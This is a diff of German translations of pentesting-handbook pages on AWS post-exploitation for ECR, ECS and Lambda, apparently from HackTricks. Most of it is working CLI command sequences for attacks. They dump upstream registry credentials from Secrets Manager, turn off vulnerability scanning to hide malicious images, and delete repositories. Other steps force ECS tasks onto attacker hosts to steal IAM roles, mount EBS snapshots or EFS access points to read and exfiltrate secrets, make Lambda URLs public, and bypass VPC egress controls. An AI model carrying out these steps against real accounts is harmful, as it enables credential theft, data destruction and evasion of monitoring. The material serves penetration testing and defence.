- IP allowlists umgehen und vertrauenswürdige Hosts innerhalb der VPC imitieren, indem secondary private IPs zwischen ENIs im gleichen subnet/AZ verschoben werden.
- Auf interne Dienste zugreifen, die den Zugang anhand bestimmter source IPs regeln, und dadurch laterale Bewegung sowie Datenzugriff ermöglichen.
+- Umgehen von IP-Allowlists und das Vortäuschen vertrauenswürdiger Hosts innerhalb der VPC, indem sekundäre private IPs zwischen ENIs im selben Subnetz/AZ verschoben werden.
+- Zugriff auf interne Dienste, die den Zugriff anhand spezifischer Quell-IP-Adressen regeln, wodurch lateral movement und Datenzugriff ermöglicht werden.
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
 --registry-id 653711331788 \
 --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-Nachdem Sie die Images heruntergeladen haben, sollten Sie **diese auf sensible Informationen prüfen**:
+Nach dem Herunterladen der Images solltest du **sie auf sensible Informationen prüfen**:

 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens

 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

-Ein Angreifer mit einer dieser Berechtigungen kann **eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen** und anschließend **das gesamte ECR-Repository löschen**. Das würde zum Verlust aller im Repository gespeicherten Container-Images führen.
+Ein Angreifer mit irgendeiner dieser Berechtigungen kann **eine Lifecycle-Policy erstellen oder ändern, um alle Images im Repository zu löschen** und anschließend **das gesamte ECR-Repository löschen**. Dies würde zum Verlust aller im Repository gespeicherten Container-Images führen.
 ```bash
 # Create a JSON file with the malicious lifecycle policy
 echo '{
@@ -90,23 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 # Delete multiple images from the ECR public repository
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

-### Exfiltrate Upstream-Registry-Zugangsdaten aus ECR Pull‑Through Cache (PTC)
+Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Zugangsdaten in AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: `ecr-pullthroughcache/`. Betreiber gewähren ECR-Admins manchmal breite Secrets Manager-Leserechte, wodurch credential exfiltration und Wiederverwendung außerhalb von AWS möglich werden.

-Wenn ECR Pull‑Through Cache für authentifizierte Upstream-Registries (Docker Hub, GHCR, ACR, etc.) konfiguriert ist, werden die Upstream-Zugangsdaten in AWS Secrets Manager mit einem vorhersehbaren Namenspräfix gespeichert: `ecr-pullthroughcache/`. Betreiber gewähren manchmal ECR-Administratoren weitreichenden Lesezugriff auf Secrets Manager, wodurch credential exfiltration und Wiederverwendung außerhalb von AWS möglich werden.
-
-Anforderungen
+Requirements
 - secretsmanager:ListSecrets
 - secretsmanager:GetSecretValue

-Auflisten möglicher PTC-Secrets
+Potenzielle PTC-Secrets auflisten
 ```bash
 aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
 --output text
 ```
-Dump gefundener secrets und parse gängiger Felder
+Gefundene secrets dumpen und gemeinsame Felder parsen
 ```bash
 for s in $(aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -116,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
 jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
 done
 ```
-Optional: leaked creds gegen das upstream (read‑only login) validieren
+Optional: leaked creds gegen das upstream validieren (read‑only login)
 ```bash
 echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
 ```
 Auswirkung
- Das Auslesen dieser Secrets Manager-Einträge liefert wiederverwendbare upstream Registry-Anmeldeinformationen (username/password oder token), die außerhalb von AWS missbraucht werden können, um private Images zu pullen oder — je nach Upstream-Berechtigungen — auf zusätzliche Repositories zuzugreifen.
+- Das Auslesen dieser Secrets Manager-Einträge liefert wiederverwendbare Upstream-Registry-Zugangsdaten (Benutzername/Passwort oder Token), die außerhalb von AWS missbraucht werden können, um private Images zu pullen oder je nach Upstream-Berechtigungen auf zusätzliche Repositories zuzugreifen.


-### Registry-weite Tarnung: Scans deaktivieren oder herabstufen über `ecr:PutRegistryScanningConfiguration`
+### Registry-Ebene Verschleierung: Scanning deaktivieren oder herabstufen via `ecr:PutRegistryScanningConfiguration`

-Ein Angreifer mit registry-weiten ECR-Berechtigungen kann stillschweigend das automatische vulnerability scanning für ALLE Repositories reduzieren oder deaktivieren, indem er die registry scanning configuration auf BASIC setzt, ohne scan-on-push rules. Das verhindert, dass neue Image-Pushes automatisch gescannt werden, und verschleiert verwundbare oder bösartige Images.
+Ein Angreifer mit Registry-Ebene ECR-Berechtigungen kann stillschweigend die automatische Vulnerability-Scan-Funktion für ALLE Repositories reduzieren oder deaktivieren, indem er die Registry-Scanning-Konfiguration auf BASIC ohne scan-on-push-Regeln setzt. Dadurch werden neue Image-Pushes nicht automatisch gescannt, was verwundbare oder bösartige Images verbirgt.

 Voraussetzungen
 - ecr:PutRegistryScanningConfiguration
 - ecr:GetRegistryScanningConfiguration
 - ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (Überprüfung)

-Registry-weite Herabstufung auf manuell (keine automatischen Scans)
+Registryweite Herabstufung auf manuell (keine Auto-Scans)
 ```bash
 REGION=us-east-1
 # Read current config (save to restore later)
@@ -146,7 +144,7 @@ aws ecr put-registry-scanning-configuration \
 --scan-type BASIC \
 --rules '[]'
 ```
-Test mit einem repo und einem image
+Test mit einem repo und image
 ```bash
 acct=$(aws sts get-caller-identity --query Account --output text)
 repo=ht-scan-stealth
@@ -161,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
 # Optional: will error with ScanNotFoundException if no scan exists
 aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
 ```
-Optional: weiter herabsetzen auf Repo-Ebene
+Optional: weiter einschränken auf Repository-Ebene
 ```bash
 # Disable scan-on-push for a specific repository
 aws ecr put-image-scanning-configuration \
@@ -173,11 +171,11 @@ Auswirkung
 - Neue Image-Pushes in der Registry werden nicht automatisch gescannt, wodurch die Sichtbarkeit von verwundbarem oder bösartigem Inhalt reduziert und die Erkennung verzögert wird, bis ein manueller Scan gestartet wird.


-### Registry‑weites Downgrade der Scan-Engine via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+### Registry‑weiter Downgrade der Scanning-Engine mittels `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)

-Verringere die Qualität der Schwachstellenerkennung für die gesamte Registry, indem die BASIC Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umgestellt wird. Das deaktiviert das Scannen nicht, kann aber die Ergebnisse/Abdeckung erheblich verändern. Kombiniere dies mit einer BASIC Registry-Scanning-Konfiguration ohne Regeln, um Scans ausschließlich manuell durchzuführen.
+Verringere die Qualität der Vulnerability-Erkennung für die gesamte Registry, indem du die BASIC-Scan-Engine vom Standard AWS_NATIVE auf die veraltete CLAIR-Engine umstellst. Das deaktiviert das Scannen nicht, kann jedoch die Findings/Abdeckung wesentlich verändern. Kombiniere dies mit einer BASIC Registry-Scanning-Konfiguration ohne Regeln, um Scans nur manuell durchzuführen.

-Voraussetzungen
+Anforderungen
 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
 - (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

@@ -203,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
 # 5) Restore to AWS_NATIVE when finished to avoid side effects
 aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -4,7 +4,7 @@

 ## ECS

-Für mehr Informationen siehe:
+Für weitere Informationen siehe:

 {{#ref}}
 ../../aws-services/aws-ecs-enum.md
@@ -12,33 +12,33 @@ Für mehr Informationen siehe:

 ### Host IAM Roles

-In ECS kann einer **IAM role dem task zugewiesen werden**, der innerhalb des container läuft. **Wenn** der task in einer **EC2 instance** ausgeführt wird, hat die **EC2 instance** eine **andere IAM** role angehängt.\
-Das bedeutet, dass wenn es Ihnen gelingt, eine ECS instance zu **compromise**, Sie potenziell die **IAM role, die mit dem ECR und der EC2 instance verknüpft ist, erhalten** können. Für mehr Infos darüber, wie man diese credentials erhält, siehe:
+In ECS kann einer Task, die innerhalb des Containers läuft, eine **IAM role zugewiesen werden**. **Wenn** die Task innerhalb einer **EC2 instance** ausgeführt wird, hat die **EC2 instance** in der Regel eine **andere IAM** role angehängt.\
+Das bedeutet, dass wenn es dir gelingt, eine ECS instance zu **compromise**, du möglicherweise die **IAM role, die mit der ECR und der EC2 instance verknüpft ist, obtain** kannst. Für mehr Informationen darüber, wie man diese Zugangsdaten erhält, siehe:

 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
 {{#endref}}

 > [!CAUTION]
-> Beachten Sie, dass wenn die EC2 instance IMDSv2 erzwingt, [**laut der Dokumentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **response of the PUT request** ein **hop limit of 1** haben wird, wodurch es unmöglich wird, von einem container innerhalb der EC2 instance auf die EC2-Metadaten zuzugreifen.
+> Beachte, dass wenn die EC2 instance IMDSv2 durchsetzt, [**laut der Dokumentation**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **hop limit of 1** haben wird, was es unmöglich macht, von einem Container innerhalb der EC2 instance auf die EC2-Metadaten zuzugreifen.

 ### Privesc to node to steal other containers creds & secrets

-Aber außerdem verwendet EC2 docker, um ECS tasks auszuführen, daher, wenn Sie auf den node escapen oder **access the docker socket** erhalten können, können Sie **check**, welche **anderen containers** laufen, und sogar **get inside of them** und die angehängten **IAM roles** stehlen.
+Außerdem verwendet EC2 docker, um ECS tasks auszuführen. Wenn du auf den Node entkommen kannst oder **access the docker socket**, kannst du **check**, welche **other containers** ausgeführt werden, und sogar in sie **get inside of them** und deren angehängte **IAM roles** stehlen.

 #### Making containers run in current host

-Außerdem wird die **EC2 instance role** normalerweise genügend **permissions** haben, um den **container instance state** der EC2 instances, die als nodes im Cluster verwendet werden, zu **update**. Ein Angreifer könnte den **state of an instance to DRAINING** ändern, dann wird ECS **remove all the tasks from it** und die als **REPLICA** laufenden Tasks werden in einer **anderen instance** ausgeführt, möglicherweise innerhalb der **attackers instance**, sodass er deren **IAM roles** und potenziell sensible Informationen aus dem Container **stehlen** kann.
+Darüber hinaus hat die **EC2 instance role** normalerweise genügend **permissions**, um den **container instance state** der als Nodes verwendeten EC2 instances im Cluster zu **update**. Ein Angreifer könnte den **state of an instance to DRAINING** ändern; dann wird ECS **remove all the tasks from it** und die Tasks, die als **REPLICA** ausgeführt werden, werden in einer **anderen instance** gestartet, möglicherweise innerhalb der **attackers instance**, sodass er deren **IAM roles** und potenziell sensible Informationen aus dem Container **steal** kann.
 ```bash
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-Die gleiche Technik kann durchgeführt werden, indem man **die EC2-Instanz aus dem Cluster deregistriert**. Das ist potenziell weniger unauffällig, aber es wird **erzwingen, dass die tasks auf anderen instances ausgeführt werden:**
+Die gleiche Technik kann durchgeführt werden, indem die **EC2 instance aus dem cluster entfernt wird**. Das ist potenziell weniger unauffällig, aber es wird die **tasks zwingen, auf anderen instances ausgeführt zu werden:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
 ```
-Eine letzte Technik, um die Neuausführung von tasks zu erzwingen, besteht darin, ECS anzuzeigen, dass der **task oder container gestoppt wurde**. Es gibt 3 mögliche APIs, um dies zu tun:
+Eine letzte Technik, um die erneute Ausführung von Tasks zu erzwingen, besteht darin, ECS mitzuteilen, dass die **Task oder der Container gestoppt wurde**. Es gibt 3 potenzielle APIs, um dies zu tun:
 ```bash
 # Needs: ecs:SubmitTaskStateChange
 aws ecs submit-task-state-change --cluster <value> \
@@ -50,38 +50,38 @@ aws ecs submit-container-state-change ...
 # Needs: ecs:SubmitAttachmentStateChanges
 aws ecs submit-attachment-state-changes ...
 ```
-### Sensitive Informationen aus ECR-Containern stehlen
+### Sensible Informationen aus ECR-Containern stehlen

-Die EC2-Instanz verfügt wahrscheinlich auch über die Berechtigung `ecr:GetAuthorizationToken`, die es ihr erlaubt, **Images herunterzuladen** (du könntest darin nach sensiblen Informationen suchen).
-
-{{#include ../../../../banners/hacktricks-training.md}}
+Die EC2-Instanz hat wahrscheinlich auch die Berechtigung `ecr:GetAuthorizationToken`, wodurch sie **Container-Images herunterladen** kann (du könntest in ihnen nach sensiblen Informationen suchen).



-### Einen EBS-Snapshot direkt in einer ECS-Task einbinden (configuredAtLaunch + volumeConfigurations)

-Missbrauche die native ECS-EBS-Integration (2024+), um den Inhalt eines vorhandenen EBS-Snapshots direkt in einer neuen ECS task/service einzubinden und dessen Daten aus dem Container auszulesen.
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+Missbrauche die native ECS–EBS-Integration (2024+), um den Inhalt eines bestehenden EBS snapshot direkt in einen neuen ECS task/service einzuhängen und dessen Daten aus dem Container heraus zu lesen.

 - Benötigt (mindestens):
 - ecs:RegisterTaskDefinition
- Eines von: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole für:
+- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole on:
 - ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
 - Task execution/Task roles referenced by the task definition
- Falls der Snapshot mit einer CMK verschlüsselt ist: KMS-Berechtigungen für die Infra-Rolle (die oben genannte AWS managed policy enthält die erforderlichen KMS-Berechtigungen für AWS managed keys).
+- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

- Auswirkung: Beliebige Festplatteninhalte aus dem Snapshot lesen (z. B. Datenbankdateien) innerhalb des Containers und über Netzwerk/Logs exfiltrieren.
+- Impact: Beliebige Festplatteninhalte aus dem Snapshot (z. B. Datenbankdateien) innerhalb des Containers lesen und exfiltrate via network/logs.

-Schritte (Fargate-Beispiel):
+Steps (Fargate example):

-1) Erstelle die ECS infrastructure role (falls sie nicht existiert) und hänge die managed policy an:
+1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
 ```bash
 aws iam create-role --role-name ecsInfrastructureRole \
 --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
 aws iam attach-role-policy --role-name ecsInfrastructureRole \
 --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
 ```
-2) Registriere eine Task-Definition mit einem Volume, das mit `configuredAtLaunch` markiert ist, und binde es im Container ein. Beispiel (gibt das Secret aus und schläft dann):
+2) Registriere eine Task-Definition mit einem Volume, das mit `configuredAtLaunch` markiert ist, und mounte es im Container. Beispiel (gibt das secret aus und schläft dann):
 ```json
 {
 "family": "ht-ebs-read",
@@ -101,7 +101,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 "volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
 }
 ```
-3) Erstelle oder aktualisiere einen Service und übergib den EBS-Snapshot über `volumeConfigurations.managedEBSVolume` (erfordert iam:PassRole für die Infra-Rolle). Beispiel:
+3) Erstelle oder aktualisiere einen Service und übergebe den EBS-Snapshot über `volumeConfigurations.managedEBSVolume` (erfordert iam:PassRole für die Infra-Rolle). Beispiel:
 ```json
 {
 "cluster": "ht-ecs-ebs",
@@ -115,7 +115,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
 ]
 }
 ```
-4) Wenn die task startet, kann der container die snapshot contents am konfigurierten mount path (z. B. `/loot`) lesen. Exfiltrate via the task’s network/logs.
+4) Wenn der Task startet, kann der Container die Snapshot-Inhalte am konfigurierten Mount-Pfad (z. B. `/loot`) lesen. Daten über das Netzwerk/Logs des Tasks exfiltrieren.

 Bereinigung:
 ```bash
@@ -123,4 +123,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
 aws ecs deregister-task-definition ht-ebs-read
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -1,18 +1,20 @@
-# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Datendiebstahl)
+# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Datenexfiltration)

-Missbrauche `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deploye dann trivialen Code, der Dateien vom gemounteten Pfad auflistet/liest, um gemeinsame Secrets/Konfigurationen zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Voraussetzungen
- Berechtigungen für das Zielkonto/Principal:
+Missbrauche `lambda:UpdateFunctionConfiguration`, um einen vorhandenen EFS Access Point an eine Lambda zu hängen, und stelle dann trivialen Code bereit, der Dateien aus dem gemounteten Pfad auflistet/liest, um gemeinsam genutzte Geheimnisse/Konfigurationen zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
+
+## Anforderungen
+- Berechtigungen im Ziel-Account/-Principal:
 - `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (zum Auffinden von Funktionen)
+- `lambda:ListFunctions` (um Funktionen zu finden)
 - `lambda:UpdateFunctionConfiguration`
 - `lambda:UpdateFunctionCode`
 - `lambda:InvokeFunction`
 - `efs:DescribeMountTargets` (um zu bestätigen, dass Mount Targets existieren)
 - Annahmen zur Umgebung:
- Die Ziel-Lambda ist VPC-enabled und ihre subnets/SGs können das EFS mount target SG über TCP/2049 erreichen (z. B. hat die Rolle AWSLambdaVPCAccessExecutionRole und das VPC-Routing erlaubt es).
- Der EFS Access Point befindet sich im selben VPC und hat mount targets in den AZs der Lambda-Subnets.
+- Target Lambda ist VPC-fähig und ihre Subnets/SGs können das EFS mount target SG über TCP/2049 erreichen (z. B. hat die Rolle AWSLambdaVPCAccessExecutionRole und das VPC-Routing erlaubt dies).
+- Der EFS Access Point befindet sich in derselben VPC und hat Mount Targets in den AZs der Lambda-Subnets.

 ## Angriff
 - Variablen
@@ -21,7 +23,7 @@ REGION=us-east-1
 TARGET_FN=<target-lambda-name>
 EFS_AP_ARN=<efs-access-point-arn>
 ```
-1) Den EFS Access Point an Lambda anhängen
+1) Hänge den EFS Access Point an die Lambda-Funktion an
 ```
 aws lambda update-function-configuration \
 --function-name $TARGET_FN \
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
 # wait until LastUpdateStatus == Successful
 until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
 ```
-2) Overwrite code mit einem einfachen Reader, der Dateien auflistet und die ersten 200 Bytes einer möglichen secret/config-Datei ausliest
+2) Überschreibe den Code mit einem einfachen reader, der Dateien auflistet und die ersten 200 Bytes einer möglichen secret/config file einliest.
 ```
 cat > reader.py <<PY
 import os, json
@@ -62,13 +64,14 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
 aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
 cat /tmp/efs-out.json
 ```
-Die Ausgabe sollte das Verzeichnislisting unter /mnt/ht und eine kleine Vorschau einer ausgewählten secret/config-Datei aus EFS enthalten.
+Die Ausgabe sollte das Verzeichnislisting unter /mnt/ht und eine kleine Vorschau einer ausgewählten secret/config file von EFS enthalten.

 ## Auswirkungen
-Ein Angreifer mit den aufgelisteten Berechtigungen kann beliebige in-VPC EFS Access Points in Opfer-Lambda-Funktionen mounten, um gemeinsam genutzte Konfigurationen und secrets, die auf EFS gespeichert sind und zuvor für diese Funktion nicht zugänglich waren, zu lesen und zu exfiltrate.
+
+Ein Angreifer mit den aufgeführten Berechtigungen kann beliebige in-VPC EFS Access Points in Opfer-Lambda-Funktionen einhängen, um gemeinsam genutzte Konfigurationen und secrets, die auf EFS gespeichert sind und zuvor für diese Funktion unzugänglich waren, auszulesen und zu exfiltrieren.

 ## Bereinigung
 ```
 aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -1,46 +1,48 @@
-# AWS - Lambda Function URL öffentliche Exposition (AuthType NONE + Public Invoke Policy)
+# AWS - Lambda Function URL Öffentliche Exposition (AuthType NONE + Public Invoke Policy)

-Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
+{{#include ../../../../banners/hacktricks-training.md}}

-## Abusing it
+Verwandeln Sie eine private Lambda Function URL in einen öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine ressourcenbasierte Richtlinie anhängen, die lambda:InvokeFunctionUrl für alle gewährt. Das ermöglicht anonyme Aufrufe interner Funktionen und kann sensible Backend-Operationen offenlegen.
+
+## Ausnutzung

 - Voraussetzungen: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
 - Region: us-east-1

 ### Schritte
-1) Sicherstellen, dass die Funktion eine Function URL hat (Standard ist AWS_IAM):
+1) Stellen Sie sicher, dass die Funktion eine Function URL hat (Standard: AWS_IAM):
 ```
 aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```

-2) Die URL auf public umschalten (AuthType NONE):
+2) Wechseln Sie die URL auf öffentlich (AuthType NONE):
 ```
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
 ```

-3) Eine ressourcenbasierte Policy-Anweisung hinzufügen, die unauthentifizierten Principals Zugriff erlaubt:
+3) Fügen Sie eine ressourcenbasierte Richtlinie hinzu, die nicht authentifizierten Principals Zugriff erlaubt:
 ```
 aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
 ```

-4) Die URL abrufen und ohne Anmeldeinformationen aufrufen:
+4) Holen Sie die URL und rufen Sie sie ohne Anmeldeinformationen auf:
 ```
 URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
 curl -sS "$URL"
 ```

 ### Auswirkung
- Die Lambda-Funktion wird anonym über das Internet erreichbar.
+- Die Lambda-Funktion ist anonym über das Internet zugänglich.

-### Beispielausgabe (unauthenticated 200)
+### Beispielausgabe (nicht authentifiziert 200)
 ```
 HTTP 200
 https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
 {"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
 ```
-### Bereinigung
+### Aufräumen
 ```
 aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
 aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-runtime-pinning-abuse.md
@@ -1,12 +1,16 @@
 # AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig

-Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Das erhält die Kompatibilität mit bösartigen layers/wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime belassen, um Exploits und langfristige Persistenz zu erleichtern.
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu pinnen (Manual) oder Updates einzufrieren (FunctionUpdate). Dadurch bleibt die Kompatibilität mit bösartigen Layern/Wrappern erhalten und die Funktion kann auf einer veralteten, verwundbaren Runtime verbleiben, um Exploitation und langfristige Persistenz zu erleichtern.

 Voraussetzungen: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.

 Beispiel (us-east-1):
- Invoke: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
- Freeze updates: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
- Verify: `aws lambda get-runtime-management-config --function-name  --region us-east-1`
+- Aufrufen: `aws lambda invoke --function-name  /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
+- Updates einfrieren: `aws lambda put-runtime-management-config --function-name  --update-runtime-on FunctionUpdate --region us-east-1`
+- Überprüfen: `aws lambda get-runtime-management-config --function-name  --region us-east-1`

-Optional kannst du die Funktion an eine spezifische Runtime-Version pinnen, indem du die Runtime Version ARN aus den INIT_START-Logs extrahierst und `--update-runtime-on Manual --runtime-version-arn <arn>` verwendest.
+Optional kann man an eine bestimmte Runtime-Version pinnen, indem man die Runtime Version ARN aus den INIT_START-Logs extrahiert und `--update-runtime-on Manual --runtime-version-arn <arn>` verwendet.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-vpc-egress-bypass.md
@@ -1,16 +1,18 @@
 # AWS Lambda – VPC Egress Bypass by Detaching VpcConfig

+{{#include ../../../../banners/hacktricks-training.md}}
+
 Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.

-## Ausnutzung
+## Ausnutzen

- Voraussetzungen: `lambda:UpdateFunctionConfiguration` auf der Ziel-Funktion (und `lambda:InvokeFunction` zum Validieren), plus Berechtigungen, Code/Handler zu aktualisieren, falls diese geändert werden.
- Annahmen: Die Funktion ist aktuell mit `VpcConfig` konfiguriert, das auf private Subnets ohne NAT zeigt (daher ist ausgehender Internetverkehr blockiert).
+- Voraussetzungen: lambda:UpdateFunctionConfiguration auf der Ziel-Funktion (und lambda:InvokeFunction zur Validierung), plus Berechtigungen, den Code/Handler zu aktualisieren, falls diese geändert werden.
+- Annahmen: Die Funktion ist aktuell mit einer VpcConfig konfiguriert, die auf private Subnets ohne NAT zeigt (daher ist ausgehender Internetzugang blockiert).
 - Region: us-east-1

 ### Schritte

-0) Bereite einen minimalen Handler vor, der beweist, dass ausgehendes HTTP funktioniert
+0) Bereite einen minimalen Handler vor, der beweist, dass ausgehender HTTP-Verkehr funktioniert

 cat > net.py <<'PY'
 import urllib.request, json
@@ -31,7 +33,7 @@ aws lambda update-function-configuration --function-name $TARGET_FN --handler ne
 aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
 cat /tmp/orig-vpc.json

-2) Die VPC trennen, indem leere Listen gesetzt werden
+2) VPC trennen, indem leere Listen gesetzt werden

 aws lambda update-function-configuration \
 --function-name $TARGET_FN \
@@ -44,7 +46,7 @@ until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --qu
